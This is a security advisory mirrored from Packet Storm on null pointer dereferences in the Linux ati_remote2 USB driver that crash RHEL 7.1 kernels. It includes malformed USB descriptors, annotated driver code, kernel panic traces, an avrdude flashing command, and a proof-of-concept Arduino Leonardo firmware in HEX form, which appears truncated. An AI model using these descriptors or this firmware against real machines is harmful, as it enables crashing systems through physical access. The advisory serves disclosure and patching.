Lucene search

K
packetstormRalf SpennebergPACKETSTORM:136222
HistoryMar 12, 2016 - 12:00 a.m.

Linux ati_remote2 Null Pointer Dereference

2016-03-1200:00:00
Ralf Spenneberg
packetstormsecurity.com
51

0.003 Low

EPSS

Percentile

68.1%

`OS-S Security Advisory 2016-18  
Linux ati_remote2 multiple Nullpointer Dereferences   
  
Date: March 4th, 2016  
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg  
CVE: not yet assigned  
CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)  
Title: Multiple Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on   
invalid USB device descriptors (ati_remote2 driver)  
Severity: Critical. The Kernel panics. A reboot is required.  
Ease of Exploitation: Trivial  
Vulnerability type: Wrong input validation  
Products: RHEL 7.1 including all updates  
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the   
CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)  
Vendor: Red Hat  
Vendor contacted: November, 12th 2015  
PDF of advisory: https://os-s.net//advisories/OSS-2016-18_ati_remote2.pdf  
  
Abstract:  
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB   
device requiring the ati_remote2 driver  
  
Detailed product description:  
We confirmed the bug on the following system:  
RHEL 7.1  
Kernel 3.10.0-229.20.1.el7.x86_64  
Further products or kernel versions have not been tested.  
How reproducible: Always  
Actual results: Kernel crashes.   
  
Description:  
These bugs were found using the USB-fuzzing framework vUSBf from Sergej   
Schumilo  
(github.com/schumilo) using the following device descriptors:  
  
[*] Device-Descriptor #1  
bLength: 0x12  
bDescriptorType: 0x1  
bcdUSB: 0x200  
bDeviceClass: 0xff  
bDeviceSubClass: 0x0  
bDeviceProtocol: 0x0  
bMaxPacketSize: 0x40  
idVendor: 0x471  
idProduct: 0x602  
bcdDevice: 0x100  
iManufacturer: 0x1  
iProduct: 0x2  
iSerialNumbers: 0x3  
bNumConfigurations: 0x1  
  
  
This is the configuration descriptor containing only one interface descriptor.  
The ati_remote2 driver assumes that there will be at least two interface-  
descriptors with associated endpoint-descriptors.   
Since the ati_remote2 driver is expecting a second interface descriptor, the   
driver tries to dereference a null-pointer.  
This results in a crash of the system.   
  
The null-pointer dereference happens in usb_driver_claim_interface() because   
the ati_remote2 driver passes in the second parameter a null-pointer:  
  
****  
$ nm ati_remote2.ko.debug | grep ati_remote2_probe  
0000000000001300 t ati_remote2_probe  
$ addr2line -e ati_remote2.ko.debug 1399  
/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_64/drivers/input/misc/ati_remote2.c:825  
****  
  
**** CentOS-Kernel linux-3.10.0-229.14.1.el7   
(drivers/input/misc/ati_remote2.c)  
...  
820 ar2->intf[0] = interface;  
821 ar2->ep[0] = &alt->endpoint[0].desc;  
822  
823 ar2->intf[1] = usb_ifnum_to_if(udev, 1); /* <-- usb_ifnum_to_if returns a   
null-pointer if there is only one interface configured */  
824 r = usb_driver_claim_interface(&ati_remote2_driver, ar2->intf[1], ar2);   
/* the second parameter is obviously a null-pointer which crashes the system   
*/  
825 if (r)  
826 goto fail1;  
827 alt = ar2->intf[1]->cur_altsetting;  
...  
****  
  
  
  
[*] Configuration-Descriptor  
bLength: 0x9  
bDescriptorType: 0x2  
wTotalLength: 0x27  
bNumInterfaces: 0x1  
bConfigurationValue: 0x1  
iConfiguration: 0x0  
bmAttributes: 0x0  
bMaxPower: 0x31  
[*] Interface-Descriptor  
bLength: 0x9  
bDescriptorType: 0x4  
bInterfaceNumber: 0x0  
bAlternateSetting: 0x0  
bNumEndpoints: 0x0  
bInterfaceClass: 0x0  
bInterfaceSubClass: 0x0  
bInterfaceProtocol: 0x0  
  
  
[*] Device-Descriptor #2  
bLength: 0x12  
bDescriptorType: 0x1  
bcdUSB: 0x200  
bDeviceClass: 0xff  
bDeviceSubClass: 0x0  
bDeviceProtocol: 0x0  
bMaxPacketSize: 0x40  
idVendor: 0x471  
idProduct: 0x602  
bcdDevice: 0x100  
iManufacturer: 0x1  
iProduct: 0x2  
iSerialNumbers: 0x3  
bNumConfigurations: 0x1  
  
  
This is the configuration descriptor containing two interface-descriptors.  
The ati_remote2 driver assumes that there will be at least two interface-  
descriptors with associated endpoint-descriptors.   
If one of them contains a zero-value for bNumEndpoints or no endpoint-  
descriptor is configured for the corresponding interface-descriptor, the   
ati_remote2 driver tries to dereference a null-pointer and the kernel crashes:  
  
****  
$ nm ati_remote2.ko.debug | grep ati_remote2_probe  
0000000000001300 t ati_remote2_probe  
$ addr2line -e ati_remote2.ko.debug 13ff  
/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_64/drivers/input/misc/ati_remote2.c:646  
****  
  
**** CentOS-Kernel linux-3.10.0-229.14.1.el7   
(drivers/input/misc/ati_remote2.c)  
...  
632 static int ati_remote2_urb_init(struct ati_remote2 *ar2)  
633 {  
...  
646 pipe = usb_rcvintpipe(udev, ar2->ep[i]->bEndpointAddress); /* null-pointer   
derference */  
647 maxp = usb_maxpacket(udev, pipe, usb_pipeout(pipe));  
...  
820 ar2->intf[0] = interface;   
821 ar2->ep[0] = &alt->endpoint[0].desc; /* <-- possible null-pointer   
(interface-0) */  
822  
823 ar2->intf[1] = usb_ifnum_to_if(udev, 1);  
824 r = usb_driver_claim_interface(&ati_remote2_driver, ar2->intf[1], ar2);   
825 if (r)  
826 goto fail1;  
827 alt = ar2->intf[1]->cur_altsetting;  
828 ar2->ep[1] = &alt->endpoint[0].desc; /* <-- possible null-pointer   
(interface-1) */  
...  
****  
  
  
[*] Configuration-Descriptor  
bLength: 0x9  
bDescriptorType: 0x2  
wTotalLength: 0x27  
bNumInterfaces: 0x1  
bConfigurationValue: 0x1  
iConfiguration: 0x0  
bmAttributes: 0x0  
bMaxPower: 0x31  
[*] Interface-Descriptor  
bLength: 0x9  
bDescriptorType: 0x4  
bInterfaceNumber: 0x0  
bAlternateSetting: 0x0  
bNumEndpoints: 0x0 malicious value for interface-0  
bInterfaceClass: 0x0  
bInterfaceSubClass: 0x0  
bInterfaceProtocol: 0x0  
[*] Endpoint-Descriptor:  
bLength: 0x7  
bDescriptorType: 0x5  
bEndpointAddress: 0x81   
bmAttribut: 0x3   
wMaxPacketSize: 0x404  
bInterval: 0xc  
[*] Interface-Descriptor  
bLength: 0x9  
bDescriptorType: 0x4  
bInterfaceNumber: 0x0  
bAlternateSetting: 0x0  
bNumEndpoints: 0x0 malicious value for interface-1  
bInterfaceClass: 0x0  
bInterfaceSubClass: 0x0  
bInterfaceProtocol: 0x0  
[*] Endpoint-Descriptor:  
bLength: 0x7  
bDescriptorType: 0x5  
bEndpointAddress: 0x81   
bmAttribut: 0x3   
wMaxPacketSize: 0x404  
bInterval: 0xc  
  
  
  
Proof of Concept:  
For a proof of concept, we are providing two Arduino Leonardo firmware files.   
These firmware files will emulate defective USB devices.  
  
  
avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U   
flash:w:binary.hex  
  
  
Firmware files have been attached to this bug report.  
To prevent the automated delivery of the payload, a jumper may be used to   
connect port D3 and 3V3!  
  
Severity and Ease of Exploitation:  
Both vulnerabilities can be easily exploited. Using our Arduino Leonardo   
firmware files, only physical access to the system is required.  
  
Vendor Communication:  
We contacted Red Hat on the November, 12th 2015.  
To this day, no security patches were provided by the vendor.  
Since our 90-day Responsible Discourse deadline is expired, we publish this   
Security Advisory.   
  
References:  
https://bugzilla.redhat.com/show_bug.cgi?id=1283362  
https://bugzilla.redhat.com/show_bug.cgi?id=1283363  
  
Kernel Stacktrace #1:  
  
[ 869.909147] usb 1-1: config index 0 descriptor too short (expected 27, got   
18)  
[ 869.934680] usb 1-1: New USB device found, idVendor=0471, idProduct=0602  
[ 869.941501] usb 1-1: New USB device strings: Mfr=1, Product=2,   
SerialNumber=3  
[ 869.949470] usb 1-1: Product: ĉ  
[ 869.953504] usb 1-1: Manufacturer: ĉ  
[ 869.957975] usb 1-1: SerialNumber: %  
[ 869.995183] BUG: unable to handle kernel NULL pointer dereference at   
00000000000000c0  
[ 869.996024] IP: [<ffffffff8141bf4e>] usb_driver_claim_interface+0x1e/0x110  
[ 869.996024] PGD 0   
[ 869.996024] Oops: 0000 [#1] SMP   
[ 869.996024] Modules linked in: ati_remote2(+) ip6t_rpfilter ip6t_REJECT   
ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc   
ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6   
nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter   
ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat   
nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter   
ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper   
drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c   
sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix   
libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod  
[ 869.996024] CPU: 0 PID: 2243 Comm: systemd-udevd Not tainted   
3.10.0-229.14.1.el7.x86_64 #1  
[ 869.996024] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS   
rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014  
[ 869.996024] task: ffff88000bcfc440 ti: ffff88000afe8000 task.ti: ffff88000afe8000  
[ 869.996024] RIP: 0010:[<ffffffff8141bf4e>] [<ffffffff8141bf4e>]   
usb_driver_claim_interface+0x1e/0x110  
[ 869.996024] RSP: 0018:ffff88000afebb60 EFLAGS: 00010286  
[ 869.996024] RAX: 00000000fffffff0 RBX: 0000000000000000 RCX: 0000000000000000  
[ 869.996024] RDX: ffff88000c3abc00 RSI: 0000000000000000 RDI: ffffffffa0396080  
[ 869.996024] RBP: ffff88000afebb90 R08: 0000000000000000 R09: ffff88000e401500  
[ 869.996024] R10: ffffffffa0394359 R11: ffffffff810020d8 R12: ffff88000f64a188  
[ 869.996024] R13: ffffffffa03960e8 R14: ffff88000bcd3000 R15: ffff88000c3abc00  
[ 869.996024] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000)   
knlGS:0000000000000000  
[ 869.996024] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b  
[ 869.996024] CR2: 00000000000000c0 CR3: 000000000c44c000 CR4:   
00000000000006f0  
[ 869.996024] DR0: 0000000000000000 DR1: 0000000000000000 DR2:   
0000000000000000  
[ 869.996024] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400  
[ 869.996024] Stack:  
[ 869.996024] ffffffffa0394359 ffff88000c525800 ffff88000f64a188 ffffffffa03960e8  
[ 869.996024] ffff88000bcd3000 ffff88000c3abc00 ffff88000afebbe0 ffffffffa0394399  
[ 869.996024] ffff88000afebbe0 ffff88000bcd3000 ffff88000bcd3090 ffff88000bcd3090  
[ 869.996024] Call Trace:  
[ 869.996024] [<ffffffffa0394359>] ? ati_remote2_probe+0x59/0x4ec [ati_remote2]  
[ 869.996024] [<ffffffffa0394399>] ati_remote2_probe+0x99/0x4ec [ati_remote2]  
[ 869.996024] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0  
[ 869.996024] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390  
[ 869.996024] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0  
[ 869.996024] [<ffffffff813d3420>] ? __device_attach+0x40/0x40  
[ 869.996024] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0  
[ 869.996024] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20  
[ 869.996024] [<ffffffff813d2680>] bus_add_driver+0x200/0x2d0  
[ 869.996024] [<ffffffff813d3b34>] driver_register+0x64/0xf0  
[ 869.996024] [<ffffffff8141c1c2>] usb_register_driver+0x82/0x160  
[ 869.996024] [<ffffffffa0399000>] ? 0xffffffffa0398fff  
[ 869.996024] [<ffffffffa039901e>] ati_remote2_driver_init+0x1e/0x1000   
[ati_remote2]  
[ 869.996024] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230  
[ 869.996024] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40  
[ 869.996024] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0  
[ 869.996024] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150  
[ 869.996024] [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0  
[ 869.996024] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b  
[ 869.996024] Code: c3 66 66 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55   
b8 f0 ff ff ff 48 89 e5 41 57 41 56 41 55 41 54 53 48 89 f3 48 83 ec 08 <48> 83   
be c0 00 00 00 00 75 74 48 8b 46 30 4c 8d 76 30 49 89 fd   
[ 869.996024] RIP [<ffffffff8141bf4e>] usb_driver_claim_interface+0x1e/0x110  
[ 869.996024] RSP <ffff88000afebb60>  
[ 869.996024] CR2: 00000000000000c0  
[ 870.442943] ---[ end trace b239663354a1c556 ]---  
[ 870.448066] Kernel panic - not syncing: Fatal exception  
[ 870.449016] drm_kms_helper: panic occurred, switching back to text console  
  
  
  
Kernel Stacktrace #2:  
  
[ 39.447664] usb 1-1: new full-speed USB device number 2 using xhci_hcd  
[ 39.657384] usb 1-1: config 1 interface 0 altsetting 0 has 1 endpoint   
descriptor, different from the interface descriptor's value: 0  
[ 39.663707] usb 1-1: config 1 interface 1 altsetting 0 has 1 endpoint   
descriptor, different from the interface descriptor's value: 0  
[ 39.705574] usb 1-1: New USB device found, idVendor=0471, idProduct=0602  
[ 39.712580] usb 1-1: New USB device strings: Mfr=1, Product=2,   
SerialNumber=3  
[ 39.721329] usb 1-1: Product: ĉ  
[ 39.725410] usb 1-1: Manufacturer: ĉ  
[ 39.728891] usb 1-1: SerialNumber: %  
[ 39.794568] BUG: unable to handle kernel NULL pointer dereference at   
0000000000000002  
[ 39.795021] IP: [<ffffffffa03943ff>] ati_remote2_probe+0xff/0x4ec [ati_remote2]  
[ 39.795021] PGD 0   
[ 39.795021] Oops: 0000 [#1] SMP   
[ 39.795021] Modules linked in: ati_remote2(+) ip6t_rpfilter ip6t_REJECT   
ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc   
ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6   
nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter   
ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat   
nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter   
ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper   
drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c   
sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix   
libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod  
[ 39.795021] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted   
3.10.0-229.14.1.el7.x86_64 #1  
[ 39.795021] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS   
rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014  
[ 39.795021] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000  
[ 39.795021] RIP: 0010:[<ffffffffa03943ff>] [<ffffffffa03943ff>]   
ati_remote2_probe+0xff/0x4ec [ati_remote2]  
[ 39.795021] RSP: 0018:ffff88000bd23ba0 EFLAGS: 00010286  
[ 39.795021] RAX: ffff88000c500c00 RBX: ffff88000c525800 RCX: 0000000000000002  
[ 39.795021] RDX: 0000000000004a90 RSI: ffff88000c500c00 RDI: 0000000000000000  
[ 39.795021] RBP: ffff88000bd23be0 R08: 0000000000000000 R09: ffffffff814183da  
[ 39.795021] R10: ffff88000e401800 R11: ffffffff810020d8 R12: 0000000000000000  
[ 39.795021] R13: ffff88000bcd0000 R14: ffff88000f050850 R15: ffff88000f050800  
[ 39.795021] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000)   
knlGS:0000000000000000  
[ 39.795021] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b  
[ 39.795021] CR2: 0000000000000002 CR3: 000000000d6a6000 CR4:   
00000000000006f0  
[ 39.795021] DR0: 0000000000000000 DR1: 0000000000000000 DR2:   
0000000000000000  
[ 39.795021] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400  
[ 39.795021] Stack:  
[ 39.795021] ffff88000bd23be0 ffff88000bcd0000 ffff88000bcd0090 ffff88000bcd0090  
[ 39.795021] ffff88000bcd0000 ffffffffa03960e8 ffff88000c525830 ffffffffa03961c0  
[ 39.795021] ffff88000bd23c28 ffffffff8141dc04 000000000bd23c00 ffff88000c525800  
[ 39.795021] Call Trace:  
[ 39.795021] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0  
[ 39.795021] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390  
[ 39.795021] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0  
[ 39.795021] [<ffffffff813d3420>] ? __device_attach+0x40/0x40  
[ 39.795021] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0  
[ 39.795021] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20  
[ 39.795021] [<ffffffff813d2680>] bus_add_driver+0x200/0x2d0  
[ 39.795021] [<ffffffff813d3b34>] driver_register+0x64/0xf0  
[ 39.795021] [<ffffffff8141c1c2>] usb_register_driver+0x82/0x160  
[ 39.795021] [<ffffffffa0399000>] ? 0xffffffffa0398fff  
[ 39.795021] [<ffffffffa039901e>] ati_remote2_driver_init+0x1e/0x1000   
[ati_remote2]  
[ 39.795021] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230  
[ 39.795021] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40  
[ 39.795021] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0  
[ 39.795021] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150  
[ 39.795021] [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0  
[ 39.795021] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b  
[ 39.795021] Code: 49 89 46 f0 0f 84 ca 03 00 00 31 ff be d0 00 00 00 e8 d6   
3f 08 e1 48 85 c0 49 89 46 e0 0f 84 b1 03 00 00 49 8b 7e d0 41 8b 4d 00 <0f>   
b6 57 02 c1 e1 08 c1 e2 0f 81 ca 80 00 00 40 09 ca 89 d1 c1   
[ 39.795021] RIP [<ffffffffa03943ff>] ati_remote2_probe+0xff/0x4ec [ati_remote2]  
[ 39.795021] RSP <ffff88000bd23ba0>  
[ 39.795021] CR2: 0000000000000002  
[ 40.196809] ---[ end trace b239663354a1c556 ]---  
[ 40.203621] Kernel panic - not syncing: Fatal exception  
[ 40.204592] drm_kms_helper: panic occurred, switching back to text console  
  
  
Arduino Leonardo Firmware #1:  
  
:100000000C94A8000C94C5000C94C5000C94C50079  
:100010000C94C5000C94C5000C94C5000C94C5004C  
:100020000C94C5000C94C5000C9484050C94EF034B  
:100030000C94C5000C94C5000C94C5000C94C5002C  
:100040000C94C5000C94C5000C94C5000C94C5001C  
:100050000C94C5000C94C5000C94C5000C94CE0102  
:100060000C94C5000C94C5000C94C5000C94C500FC  
:100070000C94C5000C94C5000C94C5000C94C500EC  
:100080000C94C5000C94C5000C94C5000C94C500DC  
:100090000C94C5000C94C5000C94C5000C94C500CC  
:1000A0000C94C5000C94C5000C94C500CB02CE0284  
:1000B000C102C502EF02EF02EF02D202D602DA025B  
:1000C000E002E402EF02EA020000000200080E0073  
:1000D00000030401000B000000000000000000000D  
:1000E00000000000000004080201104080401020C1  
:1000F00040804080080204018040201002011080EE  
:100100001020404004040404040304050202020217  
:1001100004030202020206060606060604040202A0  
:100120000204000000002300260029002C002F00FC  
:1001300000000000250028002B002E0031000000E8  
:100140000000240027002A002D00300000C180811B  
:1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077  
:10016000B1E0E4E5F3E102C005900D92AA34B107D5  
:10017000D9F725E0AAE4B5E001C01D92A536B20783  
:10018000E1F70E94C8000C94C4060C940000089586  
:10019000CF93DF93CDB7DEB7CE57D1090FB6F89422  
:1001A000DEBF0FBECDBF0E9461020E94C70060E0AB  
:1001B00083E00E94F00261E087E00E94F00261E0CB  
:1001C00088E00E94F0020E9419067E0129E7E20EF3  
:1001D000F11C84E093E0D70111969C938E9389E003  
:1001E00094E013969C938E93129782E2E2E1F1E001  
:1001F0009E012F5F3F4F6901D90101900D928A95B1  
:10020000E1F788E1E4E3F1E0DE01939601900D92DD  
:100210008A95E1F782E1ECE4F1E0DE01DB96019002  
:100220000D928A95E1F789E0EEE5F1E0DE01A05953  
:10023000BF4F01900D928A95E1F7FE01E959FF4FFA  
:1002400049E0DF01242F1D922A95E9F7CE01835B57  
:100250009F4F2EE0DC011D922A95E9F7408324E0B0  
:100260002183DC01242F01900D922A95E1F79E0154  
:1002700022583F4FFC0133872287215031093587AF  
:1002800024878E01055A1F4F2CE0D8011D922A9514  
:10029000E9F721E0F80121877596D80101900D92C8  
:1002A0004A95E1F7D8011B969C938E931A9761E0CB  
:1002B00088E00E94290380E392E00E9425068DE6F3  
:1002C00092E00E9425068CEA92E00E9425068BEEC1  
:1002D00092E00E94250687E293E00E94250684E6CC  
:1002E00093E00E94250689E893E00E94250680EDB0  
:1002F00093E00E94250683E00E945F03892B09F0AA  
:1003000046C05E01B3E2AB0EB11C8824839482E147  
:10031000982E89EF93E00E942506BF92AF92DF925C  
:10032000CF92FF92EF921F928F921F930F93EDB790  
:10033000FEB772970FB6F894FEBF0FBEEDBFADB714  
:10034000BEB71196FE01FB96892D01900D928A95FC  
:10035000E1F783E595E00E94C30568E873E180E07A  
:1003600090E00E943B0283E595E00E940E0660E06B  
:1003700087E00E94290368E873E180E090E00E9432  
:100380003B020FB6F894DEBF0FBECDBFC2CF6AE00E  
:1003900070E080E090E00E943B02ADCF1F920F9290  
:1003A0000FB60F9211242F933F938F939F93AF9388  
:1003B000BF9380914B0590914C05A0914D05B09154  
:1003C0004E0530914A0523E0230F2D3720F4019686  
:1003D000A11DB11D05C026E8230F0296A11DB11D68  
:1003E00020934A0580934B0590934C05A0934D05AF  
:1003F000B0934E0580914F0590915005A091510505  
:10040000B09152050196A11DB11D80934F059093A7  
:100410005005A0935105B0935205BF91AF919F91A4  
:100420008F913F912F910F900FBE0F901F901895B5  
:100430003FB7F89480914F0590915005A0915105D8  
:10044000B091520526B5A89B05C02F3F19F0019623  
:10045000A11DB11D3FBF6627782F892F9A2F620FEC  
:10046000711D811D911D42E0660F771F881F991F26  
:100470004A95D1F70895CF92DF92EF92FF92CF93F2  
:10048000DF936B017C010E941802EB01C114D104BF  
:10049000E104F10479F00E9418026C1B7D0B683EA8  
:1004A0007340A0F381E0C81AD108E108F108C851EF  
:1004B000DC4FECCFDF91CF91FF90EF90DF90CF90AA  
:1004C0000895789484B5826084BD84B5816084BDCC  
:1004D00085B5826085BD85B5816085BDEEE6F0E0BD  
:1004E000808181608083E1E8F0E010828081826019  
:1004F0008083808181608083E0E8F0E0808181609A  
:100500008083E1E9F0E08081826080838081816086  
:100510008083E0E9F0E0808181608083E1ECF0E0BD  
:10052000808184608083808182608083808181601B  
:100530008083E3ECF0E0808181608083E0ECF0E098  
:10054000808182608083E2ECF0E080818160808342  
:10055000EAE7F0E08081846080838081826080832C  
:10056000808181608083808180688083089590E0AD  
:10057000FC013197EE30F10590F5EA5AFF4F0C94EB  
:100580006B09809180008F7703C0809180008F7D00  
:1005900080938000089584B58F7702C084B58F7DE5  
:1005A00084BD0895809190008F7707C0809190005E  
:1005B0008F7D03C080919000877F80939000089585  
:1005C0008091C0008F7703C08091C0008F7D8093A1  
:1005D000C00008958091C200877F8093C200089573  
:1005E000CF93DF9390E0FC01EA51FF4F2491FC018F  
:1005F000EC5FFE4F8491882349F190E0880F991FAA  
:10060000FC01E25CFE4FA591B491805D9E4FFC0120  
:10061000C591D4919FB7611108C0F8948C91209531  
:1006200082238C93888182230AC0623051F4F8942B  
:100630008C91322F309583238C938881822B8883F1  
:1006400004C0F8948C91822B8C939FBFDF91CF9143  
:1006500008950F931F93CF93DF931F92CDB7DEB70B  
:10066000282F30E0F901E853FF4F8491F901EA5156  
:10067000FF4F1491F901EC5FFE4F04910023C9F084  
:10068000882321F069830E94B7026981E02FF0E09E  
:10069000EE0FFF1FE05DFE4FA591B4919FB7F89458  
:1006A0008C91611103C01095812301C0812B8C9323  
:1006B0009FBF0F90DF91CF911F910F910895CF931E  
:1006C000DF93282F30E0F901E853FF4F8491F901BF  
:1006D000EA51FF4FD491F901EC5FFE4FC491CC2356  
:1006E00091F081110E94B702EC2FF0E0EE0FFF1F96  
:1006F000EE5DFE4FA591B4912C912D2381E090E009  
:1007000021F480E002C080E090E0DF91CF91089575  
:10071000615030F02091F100FC0120830196F8CF68  
:10072000289884E68093630508951092E90010925A  
:1007300057051092560590935505809354050895DA  
:10074000FF920F931F93CF93DF93F82E8B01EA0153  
:10075000BA01C8010E946606F80120E030E08EEF81  
:100760002C173D0791F1F7FE02C0A49101C0A081B2  
:10077000609156057091570540915405509155056B  
:1007800064177507ACF49091E8009570E1F39091CF  
:10079000E80092FD1CC0A093F100A0915605B09115  
:1007A00057051196AF73BB27AB2B11F48093E8006C  
:1007B000A0915605B09157051196B0935705A09397  
:1007C00056052F5F3F4F3196CBCFC90102C08FEF47  
:1007D0009FEFDF91CF911F910F91FF9008951F928E  
:1007E0000F920FB60F9211246F927F928F929F9269  
:1007F000AF92BF92CF92DF92EF92FF920F931F932F  
:100800002F933F934F935F936F937F938F939F9318  
:10081000AF93BF93EF93FF93CF93DF93CDB7DEB743  
:100820006297DEBFCDBF1092E9008091E80083FFA0  
:1008300046C168E0CE010A960E94880382EF809349  
:10084000E8009A8597FF05C08091E80080FFFCCF03  
:1008500003C08EEF8093E800892F807609F023C1D2  
:100860008B85811105C01092F1001092F10020C11A  
:10087000282F2D7F213009F41BC1853049F4809148  
:10088000E80080FFFCCF8C8580688093E30010C176  
:10089000863009F0E1C02D8508891989223009F0D8  
:1008A000B3C0EC848E2D90E02091590530915A050B  
:1008B000821793070CF09FC00E9495031F92EF923E  
:1008C00082E294E09F938F930E9443068CE0E89E1F  
:1008D00070011124E0915B05F0915C05EE0DFF1DA8  
:1008E00089E0DE01119601900D928A95E1F7C80129  
:1008F0000E94950349E050E0BE016F5F7F4F80E0AA  
:100900000E94A0030F900F900F900F90C12CD12C3C  
:10091000612C712C38E5A32E34E0B32E4FE8842EE1  
:1009200044E0942EE0915B05F0915C05EE0DFF1D17  
:10093000818590E0681679060CF0BAC07F926F92BC  
:10094000BF92AF920E944306E0915B05F0915C0577  
:10095000EE0DFF1D628573856C0D7D1D49E050E035  
:1009600080E00E94A0030F900F900F900F9000E086  
:1009700010E0E0915B05F0915C05EE0DFF1D028437  
:10098000F385E02DEC0DFD1D818590E0081719071A  
:100990005CF51F930F939F928F920E944306E09104  
:1009A0005B05F0915C05EE0DFF1D0284F385E02DE3  
:1009B000EC0DFD1DC801880F991FA485B585A80FF2  
:1009C000B91F4D915C910284F385E02DE80FF91F6A  
:1009D0006081718180E00E94A0030F5F1F4F0F9024  
:1009E0000F900F900F90C5CF8FEF681A780A8EE0A6  
:1009F000C80ED11C97CF84EC94E09F938F930E94F4  
:100A000043060F900F9058C0C8012A8B0E9495038F  
:100A10002A892130C1F0233009F04EC08C851F9205  
:100A20008F938EED94E09F938F930E94430642E054  
:100A300050E067E671E080E00E94A0030F900F9005  
:100A40000F900F9035C04091000150E060E071E0E0  
:100A500080E00E94A0032CC0873071F1883021F41F  
:100A600081E08093F10024C0893011F5937021F565  
:100A7000EDE4F1E081E021E096E38093E90020934A  
:100A8000EB0034913093EC009093ED008F5F319642  
:100A9000843099F78EE78093EA001092EA008C8503  
:100AA0008093580505C0888999890E94950304C0E0  
:100AB0008EEF8093E80003C081E28093EB006296A2  
:100AC0000FB6F894DEBF0FBECDBFDF91CF91FF917F  
:100AD000EF91BF91AF919F918F917F916F915F91B6  
:100AE0004F913F912F911F910F91FF90EF90DF90C9  
:100AF000CF90BF90AF909F908F907F906F900F900E  
:100B00000FBE0F901F9018951F920F920FB60F9265  
:100B100011248F939F938091E1001092E10083FF55  
:100B20000FC01092E90091E09093EB001092EC005E  
:100B300092E39093ED001092580598E09093F000A6  
:100B400082FF1AC080916405882339F08091640582  
:100B5000815080936405882369F080916305882320  
:100B600059F080916305815080936305811104C021  
:100B7000289A02C05D9AF1CF9F918F910F900FBE7E  
:100B80000F901F901895CF93DF93CDB7DEB782E11A  
:100B9000FE013596A0E0B1E001900D928A95E1F753  
:100BA0008F89988D90935C0580935B05898D9A8DD4  
:100BB00090935A05809359058B8D9C8D9093620577  
:100BC000809361058D8D9E8D9093600580935F0568  
:100BD0008F8D98A190935E0580935D0510925805C6  
:100BE00081E08093D70080EA8093D80082E189BDBC  
:100BF00009B400FEFDCF61E070E080E090E00E946B  
:100C00003B0280E98093D8008CE08093E200109250  
:100C1000E000559A209ADF91CF91089581E080936A  
:100C2000E00008959091C80095FFFCCF8093CE001E  
:100C300008951092CD0087E68093CC0088E18093E0  
:100C4000C9008EE08093CA0008950F931F93CF933D  
:100C5000DF93EC018C01FE0101900020E9F7319750  
:100C6000EC1BFD0BC8018C1B9D0B8E179F0730F4EE  
